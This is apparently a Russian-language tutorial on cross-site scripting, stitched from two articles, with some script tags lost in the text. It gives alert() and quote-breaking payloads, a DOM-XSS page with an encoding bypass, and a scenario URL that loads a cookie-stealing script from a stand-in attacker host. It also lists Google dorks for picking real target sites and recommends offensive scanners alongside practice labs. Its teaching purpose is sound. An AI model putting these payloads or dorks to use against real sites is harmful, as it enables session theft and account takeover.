Инъекцией называется процедура, когда вместо имени или пароля вводится специальная последовательность символов, заставляющая сервер или браузер отреагировать определенным, нужным злоумышленнику образом.

Межсайтовым скриптингом называется инъекция, внедряющая код, который будет выполнять действия в браузере от имени веб-сайта. Это может происходить как с уведомлением пользователя, так и в фоновом режиме, без его ведома.

Рисунок 2. Наглядная схема межсайтового скриптинга

В качестве простейшего примера можно привести элементарный скрипт, показывающий окно с уведомлением. Выглядит он примерно так:

Таблица 1. Скрипт, вызывающий всплывающее окно

alert(" ЭТО XSS- УЯЗВИМОСТЬ !!!")

Данный скрипт вызывает окно с надписью «ЭТО XSS-УЯЗВИМОСТЬ!!!». Браузер пользователя воспринимает и выполняет этот скрипт как часть легитимного кода сайта.

Не все уязвимости XSS одинаковы, их существует множество типов. Здесь перечислены типы и способы их взаимодействия:

Рисунок 3. Типы XSS-уязвимостей

Уязвимости, вызванные кодом на стороне сервера (Java, PHP, .NET и т. д.):

Традиционные XSS-атаки:

Уязвимости, вызванные кодом на стороне клиента (JavaScript, Visual Basic, Flash и т. д.):

Также известные как DOM-модели:

Уязвимости, вызванные инфраструктурой (браузер, плагины, сервера и т. д.):

Встречаются очень редко, но являются более опасными:

Уязвимости, вызванные пользователем:

Как можно защитить свой сайт от XSS? Как проверить код на наличие уязвимости? Существуют технологии вроде Sucuri Firewall, специально разработанные для того, чтобы избежать подобных атак. Но если вы разработчик, вы, безусловно, захотите узнать подробнее, как идентифицировать и устранить XSS-уязвимости. Об этом мы поговорим в следующей части статьи, посвященной XSS.

• 1.Что такое XSS
• 2.Виды XSS
• 3.Особенности XSS основанных на DOM
• 4.XSS Auditor
• 5.Примеры эксплуатирования XSS
• 6.Поиск сайтов уязвимых к XSS
• 7.Программы для поиска и сканирования XSS уязвимости

Межсайтовый скриптинг (XSS) – это уязвимость, которая заключается во внедрении кода, исполняемого на стороне клиента (JavaScript) в веб-страницу, которую просматривают другие пользователи.

Уязвимость возникает из-за недостаточной фильтрации данных, которые пользователь отправляет для вставки в веб-страницу. Намного проще понять на конкретном пример. Вспомните любую гостевую книгу – это программы, которые предназначены для принятия данных от пользователя и последующего их отображения. Представим себе, что гостевая книга никак не проверяет и не фильтрует вводимые данные, а просто их отображает.

Можно набросать свой простейший скрипт (нет ничего проще, чем писать плохие скрипты на PHP – этим очень многие занимаются). Но уже предостаточно готовых вариантов. Например, я предлагаю начать знакомство с Dojo и OWASP Mutillidae II. Там есть похожий пример. В автономной среде Dojo перейдите в браузере по ссылке: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Если кто-то из пользователей ввёл:

Привет! Как дела.

То веб-страница отобразит:

Привет! Как дела.

А если пользователь введёт так:

Привет! Как дела. alert("Pwned")

То отобразиться это так:

Браузеры хранят множества Cookie большого количества сайтов. Каждый сайт может получить кукиз только сохранённые им самим. Например, сайт example.com сохранил в вашем браузере некоторые кукиз. Вы заши на сайт another.com, этот сайт (клиентские и серверные скрипты) не могут получить доступ к кукиз, которые сохранил сайт example.com.

Если сайт example.com уязвим к XSS, то это означает, что мы можем тем или иным способом внедрить в него код JavaScript, и этот код будет исполняться от имени сайта example.com! Т.е. этот код получит, например, доступ к кукиз сайта example.com.

Думаю, все помнят, что исполняется JavaScript в браузерах пользователей, т.е. при наличии XSS, внедрённый вредоносный код получает доступ к данным пользователя, который открыл страницу веб-сайта.

Внедрённый код умеет всё то, что умеет JavaScript, а именно:

• получает доступ к кукиз просматриваемого сайта
• может вносить любые изменения во внешний вид страницы
• получает доступ к буферу обмена
• может внедрять программы на JavaScript, например, ки-логеры (перехватчики нажатых клавиш)
• подцеплять на BeEF

Простейший пример с cookie:

alert(document.cookie)

На самом деле, alert используется только для выявления XSS. Реальная вредоносная полезная нагрузка осуществляет скрытые действия. Она скрыто связывается с удалённым сервером злоумышленника и передаёт на него украденные данные.

Самое главное, что нужно понимать про виды XSS то, что они бывают:

• Хранимые (Постоянные)
• Отражённые (Непостоянные)

Пример постоянных:

• Введённое злоумышленником специально сформированное сообщение в гостевую книгу (комментарий, сообщение форума, профиль) которое сохраняется на сервере, загружается с сервера каждый раз, когда пользователи запрашивают отображение этой страницы.
• Злоумышленник получил доступ к данным сервера, например, через SQL инъекцию, и внедрил в выдаваемые пользователю данные злонамеренный JavaScript код (с ки-логерами или с BeEF).

Пример непостоянных:

• На сайте присутствует поиск, который вместе с результатами поиска показывает что-то вроде «Вы искали: [строка поиска]», при этом данные не фильтруются должным образом. Поскольку такая страница отображается только для того, у кого есть ссылка на неё, то пока злоумышленник не отправит ссылку другим пользователям сайта, атака не сработает. Вместо отправки ссылки жертве, можно использовать размещение злонамеренного скрипта на нейтральном сайте, который посещает жертва.

Ещё выделяют (некоторые в качестве разновидности непостоянных XSS уязвимостей, некоторые говорят, что этот вид может быть и разновидностью постоянной XSS):

• DOM-модели

Если сказать совсем просто, то злонамеренный код «обычных» непостоянных XSS мы можем увидеть, если откроем HTML код. Например, ссылка сформирована подобным образом:

Http://example.com/search.php?q="/>alert(1)

А при открытии исходного HTML кода мы видим что-то вроде такого:

< div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >alert(1)" /> < button type = "submit" class = "ui-button" >Найти

А DOM XSS меняют DOM структуру, которая формируется в браузере на лету и увидеть злонамеренный код мы можем только при просмотре сформировавшейся DOM структуры. HTML при этом не меняется. Давайте возьмём для примера такой код:

< html > < head > < title >сайт:::DOM XSS < meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > < body > < div id = "default" > An error occurred... < script > function OnLoad() { var foundFrag = get_fragment(); return foundFrag; } function get_fragment() { var r4c = "(.*?)"; var results = location.hash.match(".*input=token(" + r4c + ");") if (results) { document.getElementById("default").innerHTML = ""; return (unescape(results)); } else { return null; } } display_session = OnLoad(); document.write("Your session ID was: " + display_session + "< br >< br >")

То в браузере мы увидим:

Исходный код страницы:

Давайте сформируем адрес следующим образом:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Теперь страница выглядит так:

Но давайте заглянем в исходный код HTML:

Там совершенно ничего не изменилось. Про это я и говорил, нам нужно смотреть DOM структуру документа, чтобы выявить злонамеренный код:

Здесь приведён рабочий прототип XSS, для реальной атаки нам нужна более сложная полезная нагрузка, которая невозможна из-за того, что приложение останавливает чтение сразу после точки с запятой, и что-то вроде alert(1);alert(2) уже невозможно. Тем не менее, благодаря unescape() в возвращаемых данных мы можем использовать полезную нагрузку вроде такой:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Где мы заменили символ ; на кодированный в URI эквивалент!

Теперь мы можем написать вредоносную полезную нагрузку JavaScript и составить ссылку для отправки жертве, как это делается для стандартного непостоянного межсайтового скриптинга.

В Google Chrome (а также в Opera, которая теперь использует движок Google Chrome), меня ждал вот такой сюрприз:

dom_xss.html:30 The XSS Auditor refused to execute a script in ‘http://localhost/tests/XSS/dom_xss.html#input=token<script>alert(1);’ because its source code was found within the request. The auditor was enabled as the server sent neither an ‘X-XSS-Protection’ nor ‘Content-Security-Policy’ header.

Т.е. теперь в браузере есть XSS аудитор, который будет пытаться предотвращать XSS. В Firefox ещё нет такой функциональности, но, думаю, это дело времени. Если реализация в браузерах будет удачной, то можно говорить о значительном затруднении применения XSS.

Полезно помнить, что современные браузеры предпринимают шаги по ограничение уровня эксплуатации проблем вроде непостоянных XSS и основанных на DOM XSS. В том числе это нужно помнить при тестировании веб-сайтов с помощью браузера – вполне может оказаться, что веб-приложение уязвимо, но вы не видите всплывающего подтверждения только по той причине, что его блокирует браузер.

Злоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Здесь описаны векторы атак для каждого класса.

При уязвимостях XSS в атаках может использоваться BeEF, который расширяет атаку с веб-сайта на локальное окружение пользователей.

Пример атаки с непостоянным XSS

1. Алиса часто посещает определённый веб-сайт, который хостит Боб. Веб-сайт Боба позволяет Алисе осуществлять вход с именем пользователя/паролем и сохранять чувствительные данные, такие как платёжная информация. Когда пользователь осуществляет вход, браузер сохраняет куки авторизации, которые выглядят как бессмысленные символы, т.е. оба компьютера (клиент и сервер) помнят, что она вошла.

2. Мэлори отмечает, что веб-сайт Боба содержит непостоянную XSS уязвимость:

2.1 При посещении страницы поиска, она вводим строку для поиска и кликает на кнопку отправить, если результаты не найдены, страница отображает введённую строку поиска, за которой следуют слова «не найдено» и url имеет вид http://bobssite.org?q=её поисковый запрос

2.2 С нормальным поисковым запросом вроде слова «собачки » страница просто отображает «собачки не найдено» и url http://bobssite.org?q=собачки , что является вполне нормальным поведением.

2.3 Тем не менее, когда в поиск отправляется аномальный поисковый запрос вроде alert(‘xss’); :

2.3.1 Появляется сообщение с предупреждением (которое говорит «xss»).

2.3.2 Страница отображает alert(‘xss’); не найдено наряду с сообщением об ошибке с текстом ‘xss’.

2.3.3 url, пригодный для эксплуатации http://bobssite.org?q=alert(‘xss’);

3. Мэлори конструирует URL для эксплуатации уязвимости:

3.1 Она делает URL http://bobssite.org?q=puppies . Она может выбрать конвертировать ASCII символы в шестнадцатеричный формат, такой как http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E для того, чтобы люди не смогли немедленно расшифровать вредоносный URL.

3.2 Она отправляет e-mail некоторым ничего не подозревающим членом сайта Боба, говоря: «Зацените клёвых собачек».

4. Алиса получает письмо. Она любит собачек и кликает по ссылке. Она переходит на сайт Боба в поиск, она не находит ничего, там отображается «собачки не найдено», а в самой середине запускается тэг со скриптом (он невидим на экране), загружает и выполняет программу Мэлори authstealer.js (срабатывание XSS атаки). Алиса забывает об этом.

5. Программа authstealer.js запускается в браузере Алисы так, будто бы её источником является веб-сайт Боба. Она захватывает копию куки авторизации Алисы и отправляет на сервер Мэлори, где Мэлори их извлекает.

7. Теперь, когда Мэлори внутри, она идёт в платёжный раздел веб-сайта, смотрит и крадёт копию номера кредитной карты Алисы. Затем она идёт и меняет пароль, т.е. теперь Алиса даже не может больше зайти.

8. Она решает сделать следующий шаг и отправляет сконструированную подобным образом ссылку самому Бобу, и таким образом получает административные привилегии сайта Боба.

Атака с постоянным XSS

Дорки для XSS

Первым шагом является выбор сайтов, на которых мы будем выполнять XSS атаки. Сайты можно искать с помощью дорков Google. Вот несколько из таких дорков, которые скопируйте и вставьте в поиск Гугла:

• inurl:search.php?q=
• inurl:.php?q=
• inurl:search.php
• inurl:.php?search=

Перед нами откроется список сайтов. Нужно открыть сайт и найти на нём поля ввода, такие как форма обратной связи, форма ввода, поиск по сайту и т.д.

Сразу замечу, что практически бесполезно искать уязвимости в популярных автоматически обновляемых веб-приложениях. Классический пример такого приложения – WordPress. На самом деле, уязвимости в WordPress, а в особенности в его плагинах, имеются. Более того, есть множество сайтов, которые не обновляют ни движок WordPress (из-за того, что веб-мастер внёс в исходный код какие-то свои изменения), ни плагины и темы (как правило, это пиратские плагины и темы). Но если вы читаете этот раздел и узнаёте из него что-то новое, значит WordPress пока не для вас… К нему обязательно вернёмся позже.

Самые лучшие цели – это разнообразные самописные движки и скрипты.

В качестве полезной нагрузки для вставки можно выбрать

alert(1)

Обращайте внимание, в какие именно тэги HTML кода попадает ваш внедрённый код. Вот пример типичного поля ввода

< input type = "text" class = "ui-input query" name = "q" value = "наволочка" />< script >alert(1)< input value = "" />

Наша полезная нагрузка попадёт туда, где сейчас слово «наволочка». Т.е. превратиться в значение тэга input . Мы можем этого избежать – закроем двойную кавычку, а затем и сам тэг с помощью «/>

"/>alert(1)

Наверное, все сканеры веб-приложений имеют встроенный сканер XSS уязвимостей. Эта тема неохватная, лучше знакомиться с каждым подобным сканером отдельно.

Имеются также специализированные инструменты для сканирования на XSS уязвимости. Среди них особенно можно выделить:

• XSSer – это не только мощный сканер, который умеет использовать разные методы внедрения и обхода фильтрации, это также автоматизированный инструмент по поиску уязвимых к XSS сайтов (по доркам). Для сайтов с найденными уязвимостями умеет внедрять полезную нагрузку для реальной атаки;
• XssPy – тоже достаточно самостоятельный инструмент, который умеет находить все страницы сайта (в том числе и на субдоменах) и проверять все элементы ввода на этих страницах;
• BruteXSS – положительной особенностью этого инструмента является полное исключение ложных срабатываний.

Большинство наборов уязвимых веб-приложений (кроме некоторых узкоспециальных) имеют в своём составе сайты, уязвимые к XSS. Самым лучшим вариантом является их использование в автономной среде обучения Dojo , который собрал множество приложений для тестирования. Например, свои навыки по выявлению и эксплуатации XSS можно тренировать на:

Damn Vulnerable Web App (DVWA):

• http://localhost/dvwa/vulnerabilities/xss_r/ (непостоянная XSS)
• http://localhost/dvwa/vulnerabilities/xss_s/ (хранимая XSS)

Mutillidae/NOWASP (очень много самых разнообразных вариаций XSS)

• http://localhost/mutillidae/